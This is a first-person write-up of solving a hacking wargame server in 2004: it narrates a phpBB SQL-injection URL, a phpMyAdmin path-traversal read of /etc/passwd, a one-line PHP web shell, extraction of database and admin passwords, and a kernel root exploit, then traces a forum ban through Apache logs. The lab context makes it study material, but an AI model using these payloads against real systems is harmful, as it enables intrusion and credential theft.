

The sun scorched my eyes as it was rising above the horizon. I stared into nothingness. My brains were active as they had never been before. How could I possibly finish target number four?

I already finished target number one through three. All I had to do was finish target four. The objective of target four was to root the server and deface the webpage of the wargames server. Let me describe the wargames server. A few services were documented on the wargames server's webpage on astalavista.net. According to that, it was running Slackware 8.1. It was running Apache as a webserver, with PHP as extension. The page also said it was running proFTPd and SSHd.

The first thing I did was pull of an nmap scan. I piped it to a file so that I could check it any time I wanted:

```
nmap -sS -sV -O 212.254.194.174 >> nmap
```

```
<nmap>
```

```
Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2004-03-03 08:52 CET
```

```
Interesting ports on adsl-194-174-fixip.tiscali.ch (212.254.194.174):
```

```
(The 1646 ports scanned but not shown below are in state: closed)
```

```
PORT      STATE SERVICE  VERSION
```

```
21/tcp    open  ftp?
```

```
22/tcp    open  ssh      OpenSSH 3.2.3p1 (protocol 1.99)
```

```
25/tcp    open  smtp     Sendmail smtpd 8.12.4/8.12.4
```

```
37/tcp    open  time
```

```
79/tcp    open  finger?
```

```
80/tcp    open  http     Apache httpd 1.3.26 ((Unix) PHP/4.2.1)
```

```
111/tcp   open  rpcbind  2 (rpc #100000)
```

```
113/tcp   open  ident    OpenBSD identd
```

```
515/tcp   open  printer
```

```
587/tcp   open  submission?
```

```
3306/tcp  open  mysql    MySQL 3.23.51
```

```
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
```

```
SF-Port587-TCP:V=3.45%D=3/3%Time=40458ED0%r(GenericLines,9A,"220\x20wargam
```

```
SF:es3\local\x20ESMTP\x20Sendmail\x208.12.4/8.12.4;\x20Wed,\x203\x20M
```

```
SF:ar\x202004\x2008:38:37\x20+0100\r\n500\x205.5.1\x20Command\x20unreco
```

```
SF:gnized:\x20"\r\n500\x205.5.1\x20Command\x20unrecognized:\x20"\r
```

```
SF:\n");
```

```
Nmap run completed -- 1 IP address (1 host up) scanned in 116.770 seconds
```

```
<EOF>
```

Not really the newest services available, but not incredibly old either. At the moment of writing, apache's newest version is 1.3.29. OpenSSH's newest version available is 3.8p1, versus version 3.2.3p1 on the wargames server. And sendmail is at version 8.12.11, versus 8.12.4. And MySQL is up to version 4.0.18, while the wargames server has 3.23.51. the ProFTPd version on the wargames server was 1.2.5, while 1.2.9 was released. So it was pretty outdated, but not too outdated.

The webserver had five "parts":

1)the index.html file itself, the file that got sent when you requested <http://212.254.194.174/>

2)phpBB (php Bulletin Board) at /phpBB/. This is a widely used forum. For more information about this, see <http://www.phpbb.com/>

3)phpNuke at /phpNuke/html/. This is a service you can use to easily give your site a nice layout, modify it, and so on. For more information, see <http://www.phpnuke.org/>

4)phpMyAdmin at /phpMyAdmin/. A tool to run SQL commands on the server. You can log in using any non-existing username and empty password, but you will have limited rights on the execution of SQL commands. For more information, see <http://www.phpmyadmin.net/>

5)Some file made by Gwanun himself, /target3/. This was the directory you could use to add your filename after finishing target 3.

I decided to check out the versions that were used.

For phpBB, I could simply go to <http://212.254.194.174/phpBB/>. There was a footer on the bottom, which had the version in it: 1.4.0 (phpBB is up to version 2.0.6d already!).

phpNuke had the version in stats; the version was 4.0 (Outdated as well, since version 7.0).

There were four targets (or, objectives). They were:

Target 1: "We set up a phpBB board for you. On this board, there are several forums. One of them is called "Mods-Only". Find a way to write into this board!"

Target 2: "There is a page running with phpNuke installed. Try to get an admin-account and publish your own message."

Target 3: There is a "magic word" stored in /etc/magicword. Find a way, to read this file. After you got the magic word, you can add your name to the list. But maybe you have to decode the word first..?

Target 4: Add your name to the index.html-File.

I figured that, with the nmap and the versions of the php-services, I would have enough information for a while. I knew phpBB 1.4.0 was fairly old, so I searched for an exploit for this. I found the following exploit:

<http://www.astalavista.net/member/exploitshow.php?id=929>

<quote>

Example URL gives a username "l337h4x0r" level 4 (administrative) privileges the board:

<http://sitename/phpBBfolder/prefs.php?save=1>

&viewemail=1',user_level%3D'4'%20where%

20username%3D'l337h4x0r'%23

</quote>

So, this was gonna be that easy huh? Yes, it was. I registered an account for me and went to the site:

[http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%](http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3D'SpooferExistence'%23)

20username%3D'SpooferExistence'%23

And I was done. My account on phpBB could post in the restricted part of the forum. Up to target 2...

Target 2: "There is a page running with phpNuke installed. Try to get an admin-account and publish your own message."

phpNuke was version 4.0. I searched for an exploit, and I found the following exploit:

<http://www.astalavista.net/member/exploitshow.php?id=1041>

<quote>

PHP-Nuke is an open source webpage portal that powers many websites on the net. A security

vulnerability in the product allows attackers to cause it to copy files from and to anywhere on the operating system hard drives (and thus gain access to or overwrite sensitive files). This would allow an attacker to completely compromise the remote host.

</quote>

So I could upload files, right? I went to

<http://212.254.194.174/phpNuke/html/admin.php?upload=1&wdir=/../> and had a look to all directories in the webserver. Only the documented ones: /phpBB/, /phpNuke/, /phpMyAdmin/ and /target3/. I tried to upload something, but nothing got uploaded; I didn't have the right permissions, I guessed. I tried more directories, but nothing happened. After going all the way back to the root dir, I went to tmp and uploaded something there. It worked. But I couldn't do anything with it "yet."

I browsed around the directories, and I came into the target3 directory. It contained "names.txt". I opened it (<http://212.254.194.174/target3/names.txt>). It contained two names: root and gwanun, on two separate lines. So I went to the file where you could see who finished target 3: <http://212.254.194.174/target3/>. Two names: root and gwanun.

You could add your name by typing your name and the secret word on the website. That meant php has to have write-access to that names.txt file! I could edit it, and add my name, without having the magic word. But I didn't...

I couldn't do anything with this exploit. I got stuck, and looked around some more. I found the following exploit:

<http://www.astalavista.net/member/archivesshow.php?id=13877&sort=default>

<quote>

Exploit example:

- -- HTTP Request --

[http://\[target\]/\[phpMyAdmin_directory\]/export.php?what=../../../../etc/passwd%00](http://[target]/[phpMyAdmin_directory]/export.php?what=../../../../etc/passwd%00)

- -- HTTP Request --

</quote>

You could include any file on the server, showing its contents. Right away I thought about target number 3:

Target 3: There is a "magic word" stored in /etc/magicword. Find a way, to read this file. After you got the magic word, you can add your name to the list. But maybe you have to decode the word first..?

Peace of Cake! I first tested it out:

<http://212.254.194.174/phpMyAdmin/export.php?what=../../../../etc/passwd%00>

Nothing appeared on the site. I looked in the source, and it did have data:

</etc/passwd>

root:x:0:0:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/log:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/:

news:x:9:13:news:/usr/lib/news:

```
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/bin/false
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
wguser:x:1000:100:Wargames User,,,:/home/wguser:/bin/bash
dumbass:x:1001:100:,,,:/home/dumbass:/bin/bash
<EOF>
```

It worked! I had to get the magic word next. It was in `/etc/magicword`:
`http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../etc/magicword%00`
Again, no data was shown on the screen. Nor in the source:
`<html><body></body></html>` was all it said. I started ettercap, a packet sniffer, and looked at the incoming packets when requesting the document. I file `/etc/magicword` was there:

```
</etc/magicword>
The magic-word is: c2VjdXJpdHlfaXNfZm9yX3doZWVuaWVz
<EOF>
```

Yes, I had to decrypt it. It was base64. The magic word itself was `security_is_for_wheenie`. Target 3 done.

It was time to finish target 2.

Target 2: There is a page running with phpNuke installed. Try to get an admin-account and publish your own message.

Now I was able to upload files to `/tmp` (because I had write access there) using:

```
http://212.254.194.174/phpNuke/html/admin.php?upload=1&wdir=../../../../tmp/
```

and I was able to include files with the phpMyAdmin exploit. I wrote a file, locally:

```
<test.php>
<? if(isset($_GET['spooftex'])) { passthru($_GET['spooftex']); } ?>
<EOF>
```

I uploaded this to `/tmp`.

When using include-bugs, the php-code is executed inside the file. The above php file tests whether `$_GET['spooftex']` is set, and if so executes it on the server. `$_GET` means the query using after the '?' when requesting a file (`test.php?spooftex=ls` would execute `ls`, if it would be uploaded to a public dir).

I could use the phpMyAdmin vulnerability to run the source:

```
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../tmp/test&spooftex=COM
MAND
```

I could replace COMMAND with the command to execute, and the output will be visible on the packet sniffer.

The admin password of phpNuke was in the database, so I needed to find out the database password. This could be found in the configuration files of phpNuke and phpBB.

The location of the phpNuke configuration file was:

```
/var/www/htdocs/phpNuke/html/config.php
```

If I would cat it like this:

```
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../../../tmp/test&spoofex=cat%20/var/www/htdocs/phpNuke/html/config.php
```

the output would be as php source, and thus would be executed. I had to remove the lines <? and ?> so that it wouldn't execute it. I used the following command to view the file:

```
cat /var/www/htdocs/phpNuke/html/config.php | grep -v "<?|\?>"
```

It would show everything of the file, except for (-v) lines containing <? or ?> (â€œ<?|\?>â€™, \ means or).

The following lines were mostly useful:

```
$dbname = "mysqluser";
```

```
$dbpass = "user4mysql";
```

I used the command `mysql -uuser=mysqluser -ppassword=user4mysql -h212.254.194.174` locally to connect to the database. I got access! The session was like this:

```
<mysql session>
```

```
mysql> use phpnuke
```

```
Reading table information for completion of table and column names
```

```
You can turn off this feature to get a quicker startup with -A
```

```
Database changed
```

```
mysql> SELECT * FROM authors;
```

```
+-----+-----+-----+-----+-----+-----+
| aid      | name      | url      | email      | pwd      | counter |
+-----+-----+-----+-----+-----+-----+
| Gwanun   | Gwanun    | http://www.astalavista.net | thomas.kaelin@astalavista.net |
| wgames@phpnk | 4 |
+-----+-----+-----+-----+-----+-----+
<EOF>
```

It was a bit scrambled, but I noticed that `wgames@phpnk` must be the password. So I tried it.

```
http://212.254.194.174/phpNuke/html/admin.php
```

I logged in with the username Gwanun and the password `wgames@phpnk`. Access granted!

And it was easy to create a story.

But how could I possibly root the server? I browsed around files, looked at the contents, looked at the services running, the users logged in, but I couldn't find anything. After a while I found out why. I was thinking too hard. All I needed was a ready-to-execute exploit. I downloaded the following exploit to the server:
<http://www.cs.helsinki.fi/linux/linux-kernel/2003-23/1589.html>

Simply compiling and running it was enough. I was root.

Nose posted the following on the forum:

```
<http://www.astalavista.net/member/newsshow.php?id=6434>  
Re: Wargames Server #3 -> ONLINE! (Nose @ Thu Mar 4 2004 @ 18:10:35)  
ahh, i see people are already breaking the rules. "If you got root, don't remove the user  
accounts or change passwords. "
```

Well, i have been 'banned' from the forum and the 'edited by tristar' was at the bottom of the post i made. What 'he' did was put in my home ip address in the post. Real mature. I am not accusing tristar himself because anyone can do that but really, who ever did that, fuck off. i am not in the mood for your shit. I am here trying to learn like everyone else.
<EOF>

Nose got banned of the phpBB forum on the wargames server. Later, in the topic, a small fight started. I decided to figure out who banned Nose.
To ban someone, first you have to go to
`/phpBB/admin/admin_users.php?mode=banuser`
and then you enter the person you want to ban. This information will be posted to:
`/phpBB/admin/admin_users.php`

So I wondered who visited the first file, `/phpBB/admin/admin_users.php?mode=banuser`. I went to the apache-logfiles, and typed:
`cat -n * | grep /phpBB/admin/admin_users.php?mode=banuser`
This would list all IPs that ever visited it.

```
<cat -n * | grep /phpBB/admin/admin_users.php?mode=banuser>  
35886 66.185.x.x - - [04/Mar/2004:04:51:19 +0100] "GET  
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711  
50477 63.89.x.x - - [04/Mar/2004:17:52:46 +0100] "GET  
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.0" 200 5441  
50681 80.46.x.x - - [04/Mar/2004:18:12:38 +0100] "GET  
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711  
52326 24.244.x.x - - [04/Mar/2004:20:16:30 +0100] "GET  
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711  
79139 68.108.x.x - - [05/Mar/2004:07:30:55 +0100] "GET  
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711  
79152 68.108.x.x - - [05/Mar/2004:07:33:57 +0100] "GET  
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711  
79382 61.11.x.x - - [05/Mar/2004:08:02:56 +0100] "GET  
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.0" 200 5443
```

```
85175 80.46.x.x - - [05/Mar/2004:21:14:39 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 6160
194782 68.67.x.x - - [12/Mar/2004:19:20:08 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 6160
<EOF>
```

(I have replaced the last two octets with x for privacy)

Those were my first suspects. Right after this, they would have to have posted something to /phpBB/admin/admin_users.php:

```
cat -n * |grep /phpBB/admin/admin_users.php |grep POST | grep IP
```

Where IP was the IP (I tried them all). I compared the line numbers (the first number on the line). The second had to be right after the first one. It was, for the following IPs:

```
66.185.x.x
63.89.x.x
68.108.x.x
61.11.x.x
80.46.x.x
```

I now had to get the names of these guys. So I used a:

```
cat * |grep IP
```

Where IP was the IP. I looked through the things what the guy did. For the first IP, a part of this was:

```
<cat * |grep 66.185.x.x>
66.185.84.199 - - [04/Mar/2004:04:34:16 +0100] "GET
/phpBBfolder/prefs.php?save=1&viewemail=1',user_level%3D'3'%20where%20username%3
D'tristar'%23 HTTP/1.1" 404 299
66.185.84.199 - - [04/Mar/2004:04:34:39 +0100] "GET /phpBB/bb_profile.php?mode=edit
HTTP/1.1" 200 6658
66.185.84.199 - - [04/Mar/2004:04:34:58 +0100] "GET
/phpBBfolder/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3
D'tristar'%23 HTTP/1.1" 404 299
66.185.84.199 - - [04/Mar/2004:04:35:16 +0100] "GET /phpBB/prefs.php HTTP/1.1" 200
4709
<EOF>
```

It was quite obvious this was tristar. I used the same method with the other four IPs, and their nicknames were as follows:

```
66.185.x.x    Tristar
63.89.x.x    Nose1
68.108.x.x   Antimatt3r
61.11.x.x    Antimatt3r
80.46.x.x    kodox and kX_lethal
```

One of them must have done it. Nose1 seemed to come from a company, so I figured he probably logged in from work and created a new account called "Nose1", and unbanned himself that way. But I wasn't sure, so I asked him. But since I didn't get any reply yet, I continued finding it out.

So who could it be? I looked at the dates and noticed that the post of Nose was on March the fourth, 18:10. So he was banned at that time already.

So there were only two people accessing the page you use to ban someone before that time:
35886 66.185.x.x - - [04/Mar/2004:04:51:19 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711
50477 63.89.x.x - - [04/Mar/2004:17:52:46 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.0" 200 5441

The second one was Nose himself, so it had to be the first one. 63.89.x.x. Tristar.

The whole March the fourth, they were the only two people who requested the ban-page and after this submitted something to the admin_users page.

After this I received a response from Nose. It was Nose, the second time, unbanning himself at school.

Credits

I'd like to thank everyone from astalavista.net for being great guys, and especially Gwanun for the wargames server.

Greetings,
Spoofed Existence